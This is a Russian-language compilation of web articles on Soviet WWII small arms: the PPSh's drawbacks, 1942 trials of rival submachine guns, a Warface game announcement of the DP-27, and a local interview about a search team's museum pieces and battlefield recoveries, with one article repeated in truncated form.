Содержание

ППШ: за что красноармейцы не любили самый массовый автомат Великой Отечественной | Русская Семёрка

«Оружие Победы», «лучший автомат ВОВ» — эти и прочие эпитеты не без основания относятся к пистолету-пулемету Шпагина, более известному как ППШ. Массовое внедрение автоматического оружия, достаточно простого в производстве и использовании, действительно стало одним из залогов победы СССР в самой жестокой войне в истории человечества. ППШ использовала не только регулярная советская армия, но и партизаны и даже подразделения коллаборационистов, воевавших на стороне Германии. О преимуществах оружия, вероятно, слышали все, однако у творения Шпагина были и серьезные недостатки, которые порой стоили бойцам жизни.

Необходимость перевооружения

Первые попытки создать оружие, которое бы позволяло использовать пистолетный патрон для автоматической стрельбы, предпринимались еще в Первую мировую войну. Пистолет-пулемет Villar-Perosa, разработанный в 1914 итальянцем Бетелем Ревелли, изначально предназначался для вооружения аэропланов. Однако 9-мм патрона было явно не достаточно для ведения воздушного боя, и оружие вскоре адаптировали для использования на земле. Им не только вооружали пехоту, но и устанавливали на автомобилях, мотоциклах и даже на раме велосипедов. Но спаренный ствол и слишком высокая скорострельность (это еще долгое время будет главным недостатком многих пистолетов-пулеметов) делали изобретение Ревелли достаточно громоздким и малоэффективным в бою.

И все же опыт Первой Мировой войны заставил армии всех государств задуматься о разработке автоматического оружия. Однако в среде консервативно настроенного армейского руководство отношение к новым веяниям было строго отрицательное. Историк Борис Бурба указывает несколько причин. Во-первых, малая дальность стрельбы. Большинство пистолетов-пулеметов были эффективны только на расстоянии менее 200 метров. В то время еще мало кто мог представить, что ключевыми сражениями грядущей войны станут не окопные противостояния, а уличные бои. Ведь в Сталинграде и Берлине решающее значение имели не дальность, а именно кучность и скорость стрельбы, чего не могла обеспечить винтовка. Другим немаловажным фактором являлась высокая стоимость пистолетного патрона, умноженная на высокий расход при автоматической стрельбе. Поэтому во многих странах поначалу относились к пистолету-пулемету исключительно как к полицейскому оружию.

Необходимость перевооружения остро встала после гражданской войны в Испании. Тогда Третий Рейх активно помогал Франко подавить сопротивление республиканцев. В этой войне немцы использовали совершенно новую тактику. Под прикрытием танков они подходили достаточно близко к окопам противника и уничтожали сторонников республики ураганным автоматическим огнем. Таким образом, в испанских окопах пистолет-пулемет показал свое бесспорное преимущество против пусть и дальнобойных, но сильно уступающих по скорострельности винтовок.

Добровольцы из СССР, воевавшие в Испании, на себе ощутили смертоносность автоматического огня, однако руководство Страны Советов медлило с модернизацией. И на это были свои причины. Многие военные деятели считали, что если и грянет новая война, то она мало чем будет отличаться от Первой мировой и Гражданской. В знаменитом фильме «Если завтра война» мы видим, как Красная Армия громит врага на его территории стремительным натиском кавалерии. Кроме того, в конце 30-х годов в среде советского военного руководства проходили массовые репрессии. Разумеется, в таких условиях военачальникам было не до модернизации.

Отрезвляющим фактором стала советско-финская война, которая окончательно убедила советское руководство, что дальше тянуть просто нельзя. Красная Армия в этой войне была вооружена главным образом винтовками Мосина, прошедшими модернизацию в 1930 году. На вооружение же финской армии к тому времени уже  поступили пистолеты-пулеметы Suomi. В условиях зимы и пересеченной местности мобильные группы финских лыжников, вооруженных автоматическим оружием, наносили серьезный урон Красной Армии. В результате пирровой победы над Финляндией СССР получил не только новые территории, но и бесценный опыт ведения боевых действий в зимний период. Кроме того, вопрос, разрабатывать или нет свое автоматическое оружие, больше не стоял.

Недостатки оружия Победы

Помимо модернизации уже существовавшего пистолета-пулемета Дегтярева (ППД), в СССР начали разработку новых вариантов оружия. Эту задачу поручили нескольким специалистам, в том числе Георгию Шпагину. Шпагин на тот момент был уже именитым оружейником и совместно с Дегтяревым участвовал в создании станкового пулемета ДШК. В 1941 году первые образцы ППШ поступили на вооружение Красной Армии.

В отличие от дорогого в производстве ППД, пистолет-пулемет Шпагина обладал рядом преимуществ, которые помогли начать перевооружение армии в условиях военного времени. Так, например, почти все металлические детали оружия изготавливались методом штамповки, что сильно удешевляло производство и позволяло использовать труд даже малоквалифицированных рабочих. Испытания ППШ также доказали его простоту и надежность в использовании. Однако  испытательный полигон и условия реального боя — как говорится, две большие разницы.

Главный недостаток ППШ заключался в том, что барабанные магазины не всегда были взаимозаменяемыми. Как правило, подгонка каждого магазина на заводе осуществлялась вручную. Поэтому, «неродные» магазины просто не фиксировались или отказывались работать должным образом. Это могло создавать серьезные проблемы, если магазин был утерян в ходе боя или поврежден. Снаряжение магазина патронами также было весьма неудобным. Для этого приходилось снимать крышку и устанавливать патроны по одному. Напомним, что барабанный магазин вмещал 71 патрон. Неосторожное движение могло привести к тому, что открытый магазин падал, патроны рассыпались, а утомительный процесс приходилось начинать заново. В 1942 году для ППШ был разработан секторный магазин, что устранило не только перечисленные выше проблемы, но и значительно уменьшило вес оружия. ППШ с секторным магазином был более чем на килограмм легче  варианта с барабанным магазином (4,15 кг против 5,3 кг).

Казалось бы, скорострельность — это то, к чему стремились все разработчики автоматического оружия. Но, как известно, слишком хорошо — это тоже плохо. ППШ обеспечивал скорострельность около 1000 выстрелов в минуту. Однако, учитывая сложный процесс снаряжения барабанного магазина, такой расход патронов был весьма нежелательным. Секторный магазин, рассчитанный на 35 патронов, также не решал проблему. Не раз случалось, что неопытный боец за несколько минут расстреливал все патроны. Свои минусы имела и конструкция свободного затвора. Так, оружие могло выстрелить при падении, что частенько приводило к ранению бойцов.

И все же, несмотря на свои минусы, ППШ прекрасно проявил себя во многих важнейших сражениях Второй мировой войны. Более того, хороший пистолет-пулемет в те годы, был скорее исключением, чем правилом. Достаточно вспомнить британский STEN, единственным преимуществом которого была его дешевизна. Кроме откровенно кустарного внешнего вида, оружие отличалось плохой балансировкой, большими допусками и низким качеством деталей. Более того, в самый неподходящий момент у STEN’а могло заклинить затвор. Именно по этой причине в 1942 году едва не сорвалось покушение участников чехословацкого Сопротивления на Рейнхарда Гейдриха, Рейхспротектора Богемии и Моравии.

А ППШ еще долго оставался на вооружении не только в СССР, но и в других странах социалистического лагеря. В частности, в Албании оружие использовалось вплоть до 1994 года, а Белоруссия окончательно списала последние ППШ только в 2005 году. Однако изобретение Шпагина не только пылилось на складах. «Оружие Победы» активно применялось в военных конфликтах второй половины XX века, в частности в Корее, Вьетнаме, Лаосе, Анголе. Есть сведения об использовании ППШ и в некоторых горячих точках на территории бывшего Советского Союза.

Неизвестные соперники ППШ — Статьи об оружии и боеприпасах

Путь пистолета-пулемёта в системе вооружения РККА был долог и извилист. Интерес к этому типу оружия был проявлен Комиссией по вооружению ещё в середине 20-х. Несколькими годами позже в СССР появились и первые пистолеты-пулемёты – закупленные в США «Томпсоны», успешно применённые пограничниками в боях с басмачами.

Отечественные ПП в сколь-нибудь заметном количестве начали появляться в армии лишь в конце 30-х. Не в последнюю очередь это было вызвано тем, что принятый на вооружение пистолет-пулемёт Дегтярёва образца 34 года при относительно приемлемых ТТХ отличался низкой технологичностью, делавшей массовый выпуск весьма проблематичным. Попытки руководства КА решить этот вопрос привели с одной стороны к появлению упрощённого по конструкции ППД-40, а с другой – к принятию на вооружение ещё более технологичного образца конструкции Шпагина – легендарного ППШ.

К тому же, перед войной перспективы ПП как массового оружия и в самом деле не были до конца ясны. Хотя в соответствующих статьях было принято метать обличающие молнии в адрес маршала Кулика, якобы посчитавшего ПП «сугубо полицейским оружием», реальность была несколько сложнее – в СССР полным ходом шла разработка самозарядных и автоматических винтовок, по совокупности ТТХ явно превосходивших «трещотку» под пистолетный патрон, стоившую в производстве почти как полноценный «ручник». Успешное применение финнами ПП «Суоми» хотя и побудило командование РККА вернуть ППД в части, но, тем не менее, необходимость такого оружия не только для отдельных категорий военнослужащих – водителей, орудийных расчётов, экипажей танков и т.п., – но и для обычных пехотинцев по-прежнему представлялась сомнительной.

Вверху – первый образец ПП Артакадемии (конструктор Безручко-Высоцкий),
Внизу – ПП Дегтярёва модернизированный

Но… не было бы счастья, да несчастье помогло. Реальность первого года большой войны оказалась мрачнее любых довоенных прогнозов. Для восполнения потерь, для вновь формирующихся дивизий армии требовалось оружие – много, много и ещё больше. Желательно – автоматическое, тем более что легенды о «ротах немецких автоматчиков» и о том, что пистолетом-пулемётом вооружён каждый второй фриц, не считая каждого первого, шли с фронта практически с первых дней войны.

Однако даже спешно развёрнутого на «непрофильных» заводах производства ППШ оказалось недостаточно. К тому же и его конструкция не была лишена т.н. «узких мест» – осенью 41-го, в частности, проблемной деталью оказался амортизатор. Кроме того, для многих заводов и ППШ был «каменным цветком» – например, в Самарканде, куда была эвакуирована из Москвы Артиллерийская академия, в дефиците было банальное дерево для прикладов.

Война жёстко продиктовала новые требования – и вот в начале 1942-го (с 25 февраля по 5 марта) на полигоне НИПСВО пришли испытания первые образцы пистолетов-пулемётов, созданных уже с учётом опыта идущей войны.

На испытания были поданы:

  1. Шпагина облегчённый.
  2. Дегтярёва модернизированный №2 и 3.
  3. Артакадемии 1-ого образца конструкции Безручко-Высоцкого.
  4. Артакадемии 2-ого образца конструкции Меньщикова и Шкворникова
  5. Зайцева (ОКБ-16) 1-ого образца
  6. Зайцева (ОКБ-16) 2-ого образца
  7. Северо-Западного фронта №32/14
  8. Валовый пистолет-пулемёт ППШ-41
  9. Немецкий пистолет-пулемёт MP-40.

Ещё 2 образца – ППКФ, разработанный в Карело-Финской ССР и конструкция судоремонтных мастерских военного порта в Сталинграде до полигона не доехала, «провалившись» на предварительных испытаниях. Особенно отличился «сталинградец», два дня подряд «дававший сплошные осечки».

Отдельно хочется сказать несколько слов по 9-й номер списка – немецкий МР-40. С началом ВОВ отечественные конструкторы, наконец, получили возможность ознакомиться с основным представителем этого класса оружия в немецкой армии. И хотя в советской историографии было принято утверждать, что данный ПП был на голову ниже отечественных конструкций, документы тех лет позволяют сделать вывод, что впечатление всё же было произведено, да ещё какое. В частности, в отчёте об испытаниях сказано следующее:

Почти во всех образцах учтены конструктивные особенности немецкого образца MP-40, так напр.:
а) у всех опытных образцов спусковой механизм без одиночной стрельбы, боёк жёсткий, прицел с откидными щитками;
б) кроме того: у ПП Дегтярёва, Артакадемии 1 и 2 образцов и Зайцева 2-ого образца – откидные приклады, у двух образцов Артакадемии – фигурные предохранительные вырезы для ручки затвора и проч.

«И проч. » особенно относилось ко 2 образцу Артакадемии, который: «в основном представляет собой конструкцию немецкого пистолета-пулемёта MP-40 с упрощением конструкции отдельных узлов с целью их технологического упрощения и уменьшения веса системы» и к ПП Зайцева, у которого разница между 1-м и 2-м образцом проявилась в том, что: «во 2-м образце заметно влияние немецкого образца МР-40».

Это, конечно же, был уже далеко не первый случай, когда советские конструкторы стрелкового оружия «внимательно поглядели» на работу зарубежных коллег – достаточно вспомнить историю появления у ППД барабанного магазина взамен коробчатого на 25 патронов. В 42 году, однако, коробчатые магазины вновь «вошли в моду» – их спешно разрабатывали для уже производящихся ППД и ППШ, а уж перспективные образцы тем более должны были «соответствовать». Но читая строки отчёта, трудно избавиться от впечатления, что конструкторам в качестве техзадания был продемонстрирован МП-40 со словами: «Сделайте нам такой же, но проще!» – возможно, даже с пояснением, что для тех, кто не в полной мере осознает «остроту момента», всегда найдутся путёвки в трудотерапевические учреждения Дальнего Востока и Крайнего Севера.

Пистолет-пулемёт Артакадемии

Одним из начальных этапов испытаний являлось определение кучности: стрельбой по щитам на дистанции 100 и 200 метров одиночным огнём и на дистанции 50 и 100 метров – автоматическим.

Наименование образцов

Одиночный огонь

Автоматический огонь
(очередями по 4–​5 выстрелов)

100 м

200 м

50 м

100 м

Ч50

R100

Ч50

R100

Ч50

R100

Ч50

R100

Шпагина облегчённый

9,2

22,5

23,8

51,7

10,5

37,7

21,2

46,5

Дегтярёва

12,8

30,2

26,8

50,7

12,2

36,0

20,7

60,7

АртАк 1 обр

15,2

39,5

39,7

73,3

12,3

37,5

24,7

56,2

АртАк 2 обр

12,0

35,2

28,3

68,3

7,8

23,0

14,3

46,7

Зайцева 1 обр.

12,0

37,8

28,3

76,7

8,3

24,3

19,8

56,7

Зайцева 2 обр.

11,7

31,2

22,0

69,3

6,7

24,8

12,0

32,5

Сев.Зап.фронта

14,7

33,0

24,2

74,7

9,5

25,2

14,0

42,7

ППШ-41

10,5

26,3

20,5

55,8

7,3

18,0

15,7

48,8

МР-40

10,5

18,0

20,0

45,0

7,0

18,5

19,3

47,0

Итогом этого этапа испытаний стал вполне закономерный вывод, что наибольшее влияние на кучность оказывает общий вес системы. Также отметили влияние динамического плеча – ПП Дегтярёва, имевший наиболее значение этой характеристики, кучностью «не блеснул». Не осталась без внимания и любовь отечественных конструкторов к компенсаторам.

Наличие компенсатора само по себе ещё не решает вопроса об улучшении кучности боя при неблагоприятных других факторах, а чрезмерно сильный компенсатор может даже ухудшить кучность боя, так например: в 1-м образце Арт.академии при стрельбе дульная часть ствола отбрасывается вниз, и кучность получена наихудшая.

Испытатели отчего-то не сочли нужным отметить высокую кучность немецкого МР, однако «похвалили» его косвенным образом – в виде положительной оценки его советской копии, 2-го образца Артакадемии: «Удары в заднем положении затвора слабее, чем у других образцов, вследствие чего его менее трясёт и стрельба удобнее». К слову, темп стрельбы у «немца» и его советского близнеца был 2–3 раза ниже, чем у прочих.

Неполная разборка ПП Артакадемии

Сразу вспоминается, что во многих советских справочниках, говоря о МР-40, обычно считалось хорошим тоном вставить фразы: «При стрельбе на дистанции более 200 метров эффективность огня резко падала», «с ППШ можно попадать в цели, удалённые на 500 метров, из МП-40 это было невозможно». О том, какие размеры должна была иметь подобная цель, скромно умалчивалось.

Следующим пунктом испытаний стало определение эксплуатационных характеристик – удобства сборки, разборки, заряжания, прицеливания и стрельбы. Здесь замечаний удостоились практически все образцы. Например, ПП Дегтярева досталось за всё тот же короткий приклад, «вследствие чего при прицельной стрельбе возможны удары затыльника по носу стрелка.»

Но самое важное испытание было ещё впереди. Имея печальный опыт самозарядной винтовки Токарева, на которую после начала войны из армии пошёл целый вал жалоб на ненадёжность, испытатели особо тщательно подошли к вопросу испытаний образцов на безотказность и живучесть. Стрельба производилась в следующих условиях:

  1. при густой смазке;
  2. при запылении цементной пылью в течение 10 минут в специальном ящике;
  3. при промытых керосином и протёртых насухо деталях;
  4. при углах возвышения и склонения около 90 градусов;
  5. после 12-часового пребывания на снегу (на морозе около 10 градусов).

Из нового ПП Шпагина всего было произведено 2329 выстрелов и получено 3,3% задержек. Наибольшее число задержек получено после запыления – 15%, после пребывания ПП на снегу – 8% и при углах склонения – 5,7%.

После 1008 (или 2808 с учётом предыдущих стрельб из образца) появились трещины на задней стенке крышки ствольной коробки и раскололся фибровый амортизатор. После 2329 выстрелов (или 4129 всего) обнаружено качание ствола.

Продолжать испытания ПП Шпагина при этих условиях комиссия посчитала нецелесообразным.

Три процента – вроде бы не так много… если не задумываться, что стоит за этими сухими цифрами отчёта. Три патрона из сотни… шанс «поймать» задержку почти в каждом диске или рожке. А в бою с лихвой хватит и одной – последней.

ПП Дегтярёва модернизированный

Из ПП Дегтярёва было произведено 2374 выстрела и получено 0,5% задержек.

Наибольшее количество задержек было получено после пребывания ПП на снегу -4%. При углах возвышения близких к 90 и при густой смазке пистолет-пулемёт отказался стрелять, давая сплошные непродвижения патронов. Также в ходе испытаний появилась расшатанность оси шептала, которая подклепывалась несколько раз, а также расшатался откидной приклад. В итоге ПДМ отправился вслед за собратом Шпагина – на доработку.

Из 1-го образца Артакадемии до прекращения испытаний было произведено 2233 выстрела и получено 0,6% задержек. После этого у ПП обнаружили: «трещины у задних стенок ствольной коробки, спусковой коробки, около шпильки ствола и около фигурного предохранительного выреза» – за этой сухой строкой почти наверняка осталось скрыто куда более эмоциональное «вот-вот разлетится нафиг!».

2-й образец Артакадемии продержался на восемь выстрелов меньше – из него успели сделать 2225 выстрелов, получив при этим 1,1% задержек. Наибольшее количество задержек получено при углах возвышения, при густой смазке и после запыления – по 2%. После 920 выстрелов отлетела мушка, а после 2019 – лопнул фибровый буфер. На этом испытания закончились и для конструкции Меньщикова-Шкворникова – запасного буфера, подходившего к их образцу, на полигоне не нашлось.

Из 1-го образца ПП Зайцева было произведено 1667 выстрелов – получив при этом 10,3% задержек, пистолет-пулемёт сняли с испытаний. Чуть лучше показал себя 2-й ПП – 2247 выстрелов и 3,2% задержек – но для продолжения испытаний этого «чуть» явно не хватало.

Аутсайдером же стал ПП Северо-Западного фронта – 387 выстрелов и 15,2» задержек, плюс отлетевшее основание мушки с намушником.

Можно – и довольно несложно – представить, какими бы эпитетами награждали конструкторов бойцы на фронте, если бы им пришлось идти в бой со столь «надёжными» образцами. Проводившая испытания комиссия это представляла весьма хорошо – и её итоговые выводы оказались весьма нерадостны для большинства конструкторов.

В отношении удобств обращения и стрельбы из разных положений ни один образец не удовлетворяет в полной мере современным требованиям, но лучше других в этом отношении 1-й образец Артакадемии и Дегтярёва.
По безотказности работы автоматики выдержал испытания только 1-й образец Артакадемии (Безручко-Высоцкий).
По живучести ни один образец испытаний не выдержал.

В итоге два вышеупомянутых образца было рекомендовано доработать с учётом высказанных комиссией рекомендаций и не позднее 5 апреля 1942 г. предоставить на повторные испытания. Доработку остальных конструкций комиссия сочла нецелесообразной.

Правда, прислушаться к «доброму совету» сумели не все. Конструктор ОКБ-16 Зайцев в «инициативном» порядке доработал свой ПП и представил его на 2-й этап испытаний. Потерпев вторую подряд неудачу, он попытался «переиграть» результаты испытаний уже по другим правилам, написав полное негодования письмо лично И. В. Сталину.

Однако история с ПП Зайцева отнюдь не стала главной интригой следующего этапа испытаний, начавшегося 26 апреля 1942 г. Помимо уже знакомых систем Дегтярёва, Безручко-Высоцкого и помянутого выше Зайцева, в этот раз на полигон попали образцы туляка Коровина (завод № 535) и Огородова (войска НКВД). А главное, на этот раз свои разработки «выкатил» и сам НИПСВО – более известный разработкой противотанковых ружей Рукавишникова и. .. Судаева.

(Начало. Продолжение в статье «Пистолет-пулемёт для Красной армии: Шпагин против Судаева»)

Андрей Уланов
WARSPOT.RU

Скоро в игре: ДП-27 | WARFACE

25.04.2018 17:10

Штурмовики, ликуйте!

К предстоящему празднованию Дня Победы в игре появится ДП-27. Легендарный пулемет Дегтярева, главное оружие огневой поддержки пехоты Красной Армии, станет долгожданным пополнением в линейке оружия, приуроченной к 9 Мая. И обязательно займет важное место в арсенале каждого штурмовика!


ДП-27

ДП-27 (Дегтярева Пехотный образца 1927) стал первым отечественным ручным пулеметом серийного производства. Его первые образцы были изготовлены на Ковровском заводе 12 ноября 1927 года, затем партия из 100 пулеметов отправилась на войсковые испытания, по результатам которых 21 декабря 1927 года оружие было принято на вооружение РККА.

Ствол пулемета имел 6 нарезов и находился в кожухе, что обеспечивало защиту стрелка от ожогов во время стрельбы. Приклад изготавливался из дерева, в нем располагалась масленка и запасные части для ухода за оружием. 

Патроны калибра 7,62х54 мм укладывались в дисковом магазине на отдельные места и не цеплялись закраиной за соседние, как это происходило в рожковых магазинах. Специальная конструкция с мушкой информировала бойца о том, сколько примерно патронов осталось в диске. При необходимости магазин можно было разобрать и почистить от грязи.

Один из главных плюсов пулемета — надежность в сложных условиях эксплуатации.


Оружие в игре

В Warface ДП-27 станет оружием с очень высоким уроном и хорошей точностью стрельбы в прицеле. Золотая версия будет отличаться повышенными дальностью, темпом стрельбы и емкостью магазина.

Получить пулемет можно будет во время празднования Дня Победы и из коробок удачи за кредиты.

Не обойдется и без достижений! За убийство противников из данного оружия вы сможете получить памятные знаки отличия.


В дополнение к этому, праздничное оружие других классов — ППШ-41, Winchester M1897 и винтовка Мосина, будет улучшено!

Обратите внимание: характеристики, представленные на изображении выше, могут быть изменены при запуске ПТС или по результатам общего тестирования. О дате запуска ПТС, где вы сможете увидеть пулемет и изменения пушек, мы сообщим дополнительно.

Кстати, ранее в игре появился другой пулемет от того же конструктора — РПД Custom. Подробнее о нем можно прочесть в «Оружейной комнате».

Как вам новинка, бойцы?


Обсудить на форуме

Обсудить в соцсети «ВКонтакте»

Обсудить в соцсети «Одноклассники»

Эхо минувшей войны


г. :

-Приходи к нам в гости, есть интересные, даже потрясающие новости! — в голосе командира балаковского поискового отряда «Набат» Сергея Василенко, доносившегося из телефонной трубки, явно присутствовало волнение. Зная Сергея уже много лет, я понял, что появился очередной информационный повод для написания статьи.

И спустя четверть часа я уже сидел в аскетично обставленной гостиной военно-патриотического Центра «Набат».

Что будешь: чай, кофе? Вот еще печенье… — гостеприимничал Сергей, словно оттягивая интригующий момент сюрпризной развязки. Придерживаясь предложенным правилам общения, я не стал торопить события. И только после того, как мы, обсуждая местные новости, выпили по увесистому бокалу ароматного чая, Сергей, заговорчески подмигнув, ненадолго покинул помещение… И вернулся с новеньким автоматом ППШ (пистолет-пулемет Шпагина) или, как его еще называют — автомат Победы!

Вот это сюрприз, так сюрприз!.. Наверное, забавно было бы в тот момент увидеть выражение моего лица… Ведь этот автомат с круглым дисковым магазином я раньше видел лишь в военных фильмах и на фотографиях. А сейчас он стал для меня осязаемой реальностью! Только тот, кто отслужил срочную службу или увлекается военной историей, сможет разделить восторг от соприкосновения с подобным раритетом!

Легендарный автомат оказался неожиданно тяжелым и неудобным. .. (Вес ППШ со снаряженным диском около 5 кг. -Авт). Пока я на ощупь знакомился с грозным оружием советской пехоты, Сергей, явно наслаждаясь произведенным эффектом, дал короткую характеристику особенностям автомата.

Обрати внимание на дату изготовления — 1945 год, все номера на узлах автомата совпадают, и, судя по идеальному состоянию автомата, в боевых действиях он не использовался, и все эти годы пролежал на складе. К автомату прилагается три индивидуальных диска. ППШ — капризный в этом отношении автомат, и если установить магазин с другого автомата, то патрон переклинит и оружие выйдет из строя. Это один из минусов автомата, да и механизм крепления диска ненадежен — мы часто находили в местах боев потерянные диски от ППШ. Зато он прост в изготовлении — их на эвакуированных заводах делали женщины и даже подростки.

-Сергей, на интернетовских форумах знатоки ведут нескончаемый спор, какой автомат круче: наш ППШ или немецкий ПМ-40, который еще ошибочно называют «шмайссером». А что ты, как поисковик, думаешь по этому поводу?

-Есть немало сведений и фотографий, подтверждающих, что солдаты Вермахта активно пользовались трофейными ППШ, уважая их за высокую надежность, особенно в условиях сильных морозов. Скорострельность нашего автомата в два раза превышала аналог немецкого, к тому же емкость диска ППШ составляла 71 патрон, а у ПМ-40 рожок был рассчитан всего на 32 патрона.

Однако, как ты только что сумел убедиться, ППШ очень громоздкий, и с пристегнутым магазином автомат неудобно носить за спиной. Его высокую скорострельность при недостатке боеприпасов, так же можно отнести к разряду недостатков, ибо снаряжать магазин в условиях активного боя — просто нереально. Но даже с этими, казалось бы, значительными недостатками, ППШ во много раз превосходил все имеющиеся в то время типы пистолетов-пулеметов.
Как оказалось, демонстрация автомата ППШ была лишь прелюдией к показу главного экспоната. Немного погодя, Сергей, выдержав паузу, принес… новенький ручной пулемет Дегтярева, 1942 года выпуска! Один вид этого «эха минувшей войны», вызывал трудно передающиеся описанию эмоции… почти священный трепет. Сергей с пониманием отнесся к моему восторженному удивлению и протянул пулемет — на, наслаждайся!

После того, как я вдоволь «понянькался» с 9-ти килограммовым пулеметом, автомат ППШ, в сравнении с ним, уже казался легкой и удобной игрушкой.

Даже при холостом выстреле, пулемет давал такой мощный и звонкий щелчок, что можно было только догадываться, какой убойной силой обладало это оружие…
Такой пулемет обслуживал расчет из двух человек, — пояснил Сергей, — стрелок и его помощник, который переносил короб с 3 дисками. Пулемет был создан в 1927 году, но массово использовался в качестве основного оружия огневой поддержки пехоты вплоть до конца Великой Отечественной войны. Теперь сам, наверное, убедился, что пулеметчику с такой «машиной» на плечах во время марша не позавидуешь…

-Откуда у вас появились такие раритеты?! — справившись с эмоциями, задал я главный вопрос.

-Это подарок нашему музею Боевой славы от депутата областной думы Александра Стрелюхина. С оружием произведены необходимые манипуляции, исключающие возможность использовать его в боевых целях, — отметил Сергей. Ценность этих экспонатов в том, что это подлинное оружие времен Великой Отечественной войны. Для нашего музея это бесценный подарок, а со стороны Александра Михайловича Стрелюхина — настоящий поступок! В наше время найти подобное оружие в столь безупречном состоянии практически нереально.

За все время было выпущено 795 тысяч пулеметов Дегтярева и 6 миллионов автоматов ППШ. Наверное, на военных складах еще хранится изрядное количество оружия времен ВОВ, но используется оно исключительно во время съемок фильмов про войну.

-Когда можно будет увидеть эти раритеты в экспозиции набатовского Музея Боевой Славы? Насколько я знаю, по количеству уникальных находок с мест боевых действий, ваш музей сейчас один из лучших в области?

-В связи с переездом музей в ближайшее время будет открыт в новом месте по адресу 30 лет Победы, дом 9. Для открытия музея закуплены настоящие музейные витрины, будут созданы новые панорамы и даже макеты землянки и блиндажа. Из последней экспедиции привезли немало интересных находок, одну из которых я тебе сейчас покажу.

Вот смотри, котелок твоего однофамильца, — Сергей протянул изрядно помятый котелок, на котором владелец каким-то острым предметом выбил свою фамилию КАРПОВ, дату — 1941г. и красноармейскую звезду. — Потом этот котелок, видимо, перешел к другому бойцу, который выбил свою фамилию КАДЫРОВ и сделал гравировку, изобразив гору, солнце и парящего орла, — продолжил рассказ Сергей. — Рядом с этим котелком мы не нашли останков его обладателя. Скорее всего, он подорвался на мине, так как котелок был расплющен практически в лепешку. Мы его восстановили, как образец окопного прикладного творчества. Кстати, при раскопках в урочище Липовик-Дубовик, рядом с останками бойца мы нашли еще один котелок с нацарапанной на нем надписью САРАТОВ. Все наши поисковики были растроганы до глубины души: «земляка» нашли!

-Сергей, а каковы результаты вашей прошлогодней поисковой экспедиции в Ленинградскую область?

-Из-за погодных условий поездка сложилась для нас не очень удачно. Погожим был только один день, позволивший нам нормально благоустроить лагерь, остальные две недели шли дожди. И, тем не менее, нам удалось найти и поднять останки 36 советских воинов в радиусе 15-ти километров от нашего лагеря. Учитывая, что скелетные останки одного человека весят около 10 килограммов, плюс инвентарь и металлоискатели, то передвижение по болотистой местности было сопряжено с трудностями.

-Были какие-то интересные или необычные находки?

-Дважды по болотцу одной тропинкой не пройдешь — следы быстро наполняются водой, и, возвращаясь к лагерю, мы отклонились от маршрута, взяв чуть правее. Проходя мимо одного места, кто-то обратил внимание на два абсолютно симметричных бугорка, поросших ярко-зеленым мхом. Бугорки по форме напоминали валенки. Ради интереса ковырнули мох, а под ним и, правда, оказались валенки… Раскопки позволили восстановить картину произошедшего: видимо, погибший боец упал в воронку вниз головой, а ноги остались на поверхности. Солдатик, судя по идеально ровным и целым зубам, без единой пломбы, был молодой. Сохранились волосы, даже ногти на руках и на ногах. Кстати валенки, даже спустя много лет отлично сохраняются. Мы их много находили — повесишь на ветку, они просохнут и кажется, что их только вчера оставили.

-Сергей, а останки немецких солдат часто встречаются?

Место, где мы на протяжении последних лет работаем, часто переходило из рук в руки. Когда немцы возвращали себе позиции, то собирали тела своих солдат и хоронили в отдельном месте. Поэтому останки их солдат встречаются, но не часто. У нас к ним нет предвзятого отношения — солдат погиб, и тем самым искупил свои земные грехи. Перезахоронением немецких солдат на Ленинградской земле занимается русскоговорящий немец по фамилии Ленке. У него в отряде работают россияне, получают официальную зарплату, отыскивая и перевозя останки не в Германию, а в Великий Новгород, где имеется крупный мемориал для последнего покоя немецких солдат…

На следующий год поедем в экспедицию на поля сражений под Смоленском, там же наш поисковый отряд пройдет аттестацию на право заниматься раскопками в местах боевых действий. Это вызвано тем, что за два десятилетия на минах и гранатах подорвались около 30-ти поисковиков. Сколько гибнет «черных копателей» никто толком не знает, но подрывы происходят каждый сезон. И только теперь государство обратило на это внимание и пытается ввести ограничения и упорядочить поисковую деятельность.




#Балаково, #Актуально, #Статьи
Автор: Алексей Карпов | Рубрика: Общество

Неизвестные соперники ППШ | Warspot.ru

Путь пистолета-пулемёта в системе вооружения РККА был долог и извилист. Интерес к этому типу оружия был проявлен Комиссией по вооружению ещё в середине 20-х. Несколькими годами позже в СССР появились и первые пистолеты-пулемёты – закупленные в США «Томпсоны», успешно применённые пограничниками в боях с басмачами.

Отечественные ПП в сколь-нибудь заметном количестве начали появляться в армии лишь в конце 30-х. Не в последнюю очередь это было вызвано тем, что принятый на вооружение пистолет-пулемёт Дегтярёва образца 34 года при относительно приемлемых ТТХ отличался низкой технологичностью, делавшей массовый выпуск весьма проблематичным. Попытки руководства КА решить этот вопрос привели с одной стороны к появлению упрощённого по конструкции ППД-40, а с другой – к принятию на вооружение ещё более технологичного образца конструкции Шпагина – легендарного ППШ.

К тому же, перед войной перспективы ПП как массового оружия и в самом деле не были до конца ясны. Хотя в соответствующих статьях было принято метать обличающие молнии в адрес маршала Кулика, якобы посчитавшего ПП «сугубо полицейским оружием», реальность была несколько сложнее – в СССР полным ходом шла разработка самозарядных и автоматических винтовок, по совокупности ТТХ явно превосходивших «трещотку» под пистолетный патрон, стоившую в производстве почти как полноценный «ручник». Успешное применение финнами ПП «Суоми» хотя и побудило командование РККА вернуть ППД в части, но, тем не менее, необходимость такого оружия не только для отдельных категорий военнослужащих – водителей, орудийных расчётов, экипажей танков и т.п., – но и для обычных пехотинцев по-прежнему представлялась сомнительной.

Вверху – первый образец ПП Артакадемии (конструктор Безручко-Высоцкий)
Внизу – ПП Дегтярёва модернизированный

Но… не было бы счастья, да несчастье помогло. Реальность первого года большой войны оказалась мрачнее любых довоенных прогнозов. Для восполнения потерь, для вновь формирующихся дивизий армии требовалось оружие – много, много и ещё больше. Желательно – автоматическое, тем более что легенды о «ротах немецких автоматчиков» и о том, что пистолетом-пулемётом вооружён каждый второй фриц, не считая каждого первого, шли с фронта практически с первых дней войны.

Однако даже спешно развёрнутого на «непрофильных» заводах производства ППШ оказалось недостаточно. К тому же и его конструкция не была лишена т.н. «узких мест» – осенью 41-го, в частности, проблемной деталью оказался амортизатор[1]. Кроме того, для многих заводов и ППШ был «каменным цветком» – например, в Самарканде, куда была эвакуирована из Москвы Артиллерийская академия, в дефиците было банальное дерево для прикладов.

Война жёстко продиктовала новые требования – и вот в начале 1942-го (с 25 февраля по 5 марта) на полигоне НИПСВО пришли испытания первые образцы пистолетов-пулемётов, созданных уже с учётом опыта идущей войны.

На испытания были поданы:

  1. Шпагина облегчённый.
  2. Дегтярёва модернизированный №2 и 3.
